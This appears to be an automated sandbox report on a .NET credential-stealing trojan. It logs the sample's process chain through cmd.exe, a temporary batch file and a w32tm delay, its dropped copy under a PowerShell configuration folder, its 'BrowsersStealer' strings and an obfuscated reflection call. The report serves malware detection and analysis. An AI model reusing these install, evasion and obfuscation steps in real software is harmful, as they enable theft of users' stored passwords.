Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA1000A	0_2_00007FFD9BA1000A
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA243F0	0_2_00007FFD9BA243F0
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA24B98	0_2_00007FFD9BA24B98
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA262FB	0_2_00007FFD9BA262FB
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA24980	0_2_00007FFD9BA24980
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA250F2	0_2_00007FFD9BA250F2
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA23920	0_2_00007FFD9BA23920
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA23FA5	0_2_00007FFD9BA23FA5
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA155BD	0_2_00007FFD9BA155BD
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA23503	0_2_00007FFD9BA23503
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA154F5	0_2_00007FFD9BA154F5
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BAC0DA4	5_2_00007FFD9BAC0DA4
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BAC2905	5_2_00007FFD9BAC2905
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC60031	5_2_00007FFD9BC60031
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC74B98	5_2_00007FFD9BC74B98
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC762FC	5_2_00007FFD9BC762FC
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC74980	5_2_00007FFD9BC74980
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC73FA5	5_2_00007FFD9BC73FA5
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC757C8	5_2_00007FFD9BC757C8
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC74EF2	5_2_00007FFD9BC74EF2
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC71E0D	5_2_00007FFD9BC71E0D
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC75CF2	5_2_00007FFD9BC75CF2
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC73507	5_2_00007FFD9BC73507
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9C3E44CD	5_2_00007FFD9C3E44CD

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\AoefClwh.log 873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C

Source: aW6kSsgdvv.exe, 00000000.00000002.1697890254.00000000142E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs aW6kSsgdvv.exe
Source: aW6kSsgdvv.exe, 00000000.00000002.1717131986.000000001B8F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs aW6kSsgdvv.exe
Source: aW6kSsgdvv.exe, 00000000.00000002.1718995461.000000001BC52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs aW6kSsgdvv.exe
Source: aW6kSsgdvv.exe, 00000000.00000002.1718995461.000000001BC52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs aW6kSsgdvv.exe
Source: aW6kSsgdvv.exe, 00000000.00000002.1697890254.00000000142B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs aW6kSsgdvv.exe
Source: aW6kSsgdvv.exe	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs aW6kSsgdvv.exe

Source: aW6kSsgdvv.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: aW6kSsgdvv.exe, h7Ej9FvF61tYTJ0V8YA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: aW6kSsgdvv.exe, h7Ej9FvF61tYTJ0V8YA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: aW6kSsgdvv.exe, h7Ej9FvF61tYTJ0V8YA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: aW6kSsgdvv.exe, h7Ej9FvF61tYTJ0V8YA.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/296@0/1

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

File created: C:\Program Files (x86)\microsoft office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

File created: C:\Users\user\Desktop\buBBtjbG.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Mutant created: NULL
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\b2ac2fc5f8fd57036b33cb339a752615a9333c7fb6f8fc6d643d31e20b9e9dcf

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

File created: C:\Users\user\AppData\Local\Temp\IfGeLHNXGV

Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pESnCcNlNN.bat"

Source: aW6kSsgdvv.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: aW6kSsgdvv.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: R59u0xcjRg.5.dr, MCrn9kt8eJ.5.dr, TRnwWdbqcz.5.dr, gPC0o0ZXjT.5.dr, 1rvRFG07wI.5.dr, 55bcq0TAZ2.5.dr, d8jcEgEIws.5.dr, MoeNR2byyx.5.dr, MemDKQ8k08.5.dr, oVLqiMBLSW.5.dr, 9x2Hk7cYpX.5.dr, 3yQpJXHn6W.5.dr, XLdTDlQ5Iy.5.dr, Uo3U86F74u.5.dr, Yn4RUfYuxN.5.dr, EB71eltqMw.5.dr, 36ricUAfpQ.5.dr, hp5CawLEM2.5.dr, 3VsPiFb30F.5.dr, dRX7OYaWdU.5.dr, 81iqvb0UhX.5.dr, LabCPuwCxe.5.dr, zK5B5lSR3N.5.dr, mzkLKP04Ld.5.dr, 6v48c7IaOe.5.dr, K07OJ3h7iA.5.dr, HYKlWci9CM.5.dr, mhY9jL3JEe.5.dr, AiAF87fChc.5.dr, ufJfM6LvWK.5.dr, KZbxFv6P79.5.dr, ehLO7ViZmQ.5.dr, BTxigVZQF7.5.dr, z6EGwB83YS.5.dr, rbO1Tk6I0H.5.dr, l49Vt5Hozw.5.dr, YkHPvzvYO2.5.dr, ZGVgYJP6tt.5.dr, 25IhLhubHw.5.dr, dSfRakRLCP.5.dr, iJvuPeoK7J.5.dr, lPPGPJ9ck1.5.dr, xqheZsVPwb.5.dr, hFzFsRxubK.5.dr, A1gMBezgdS.5.dr, GssShP76v7.5.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: aW6kSsgdvv.exe	Virustotal: Detection: 58%
Source: aW6kSsgdvv.exe	ReversingLabs: Detection: 73%

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

File read: C:\Users\user\Desktop\aW6kSsgdvv.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\aW6kSsgdvv.exe "C:\Users\user\Desktop\aW6kSsgdvv.exe"
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pESnCcNlNN.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe "C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe"
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pESnCcNlNN.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe "C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Directory created: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe			Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Directory created: C:\Program Files\WindowsPowerShell\Configuration\bac0f074c202d5			Jump to behavior

Source: aW6kSsgdvv.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: aW6kSsgdvv.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: aW6kSsgdvv.exe

Static file information: File size 3687424 > 1048576

Source: aW6kSsgdvv.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x383c00

Source: aW6kSsgdvv.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: aW6kSsgdvv.exe, h7Ej9FvF61tYTJ0V8YA.cs

.Net Code: Type.GetTypeFromHandle(QCWulOBcvB60GFkuvL8.ircCKTS3j6T(16777425)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(QCWulOBcvB60GFkuvL8.ircCKTS3j6T(16777246)),Type.GetTypeFromHandle(QCWulOBcvB60GFkuvL8.ircCKTS3j6T(16777260))})

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA21198 push edi; iretd	0_2_00007FFD9BA211EA
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA20E57 push ebp; iretd	0_2_00007FFD9BA20E8A
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BA21D99 pushad ; iretd	0_2_00007FFD9BA21DAA
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BF76213 push eax; retn 5EEAh	0_2_00007FFD9BF7623D
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BF731D1 push FFFFFFE8h; ret	0_2_00007FFD9BF731F9
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BF731E0 push FFFFFFE8h; ret	0_2_00007FFD9BF731F9
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Code function: 0_2_00007FFD9BF777D4 push eax; iretd	0_2_00007FFD9BF77899
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BAFDAC7 push ebx; retf	5_2_00007FFD9BAFDACA
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9BC6625D push es; iretd	5_2_00007FFD9BC6626A
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9C1C6213 push eax; retn 5EE7h	5_2_00007FFD9C1C623D
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9C1C3178 push FFFFFFE8h; ret	5_2_00007FFD9C1C31F9
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9C1C3174 push FFFFFFE8h; ret	5_2_00007FFD9C1C31F9
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Code function: 5_2_00007FFD9C1C77F4 push eax; iretd	5_2_00007FFD9C1C7879

Source: aW6kSsgdvv.exe, DwG7Y0aScfMlc9kWBC9.cs	High entropy of concatenated method names: 'k47fiffjH6', 'DOXpKrVk2MlGkOBP7t6L', 'odaZZQVkqBSKFfiuoDgk', 'k1HIonVkrQLluxisqR4g', 'a4gpEeVkd21wXykFHgdh', 'i5X', 'OA1aEnKkpd', 'W93', 'L67', '_2PR'
Source: aW6kSsgdvv.exe, CUWSotRKSj71VMwH7V3.cs	High entropy of concatenated method names: 'dW7UEkVkHLeFq1doX93Q', 'Pb5vqWVkPkcxxnbBLoxd', 'NMUD47VkZON59haSCWSk', 'Ib00GqVkOyEbIxcsPc5H', 'JZkRZoffIJ', '_1R8', '_3eK', 'yfhRHlMaUY', 'EqEROq9SVF', 'lURRlHugFA'
Source: aW6kSsgdvv.exe, NmyVy1ZntqC5ZysEPsv.cs	High entropy of concatenated method names: 'm6uZLwWkZT', 'V9mZ54gyrI', 'I9JZvvdyfW', 'z81Z4QQCHn', 'wm5ZBfV0Gj', 'htVZXbXbAw', 'eiCZzgBMkG', 'PE7H2lV73McqTvNIv9vq', 'dfoWWoV7yR3U76oxw9JE', 'dEknM6V7N9PpOH6idVj1'
Source: aW6kSsgdvv.exe, fuqnUr67yatVwAt5clV.cs	High entropy of concatenated method names: 'uIj6DatIn1', 'hCn6yTIB3X', 'wYF6Nx19kn', 'Wls63rnOsJ', 'Tg76ULGdSj', 'PMm6AWuLSk', 'KUH6btXrPf', 'pW96ptnI2y', 'Etw6xndyCN', 'uDh6moln83'
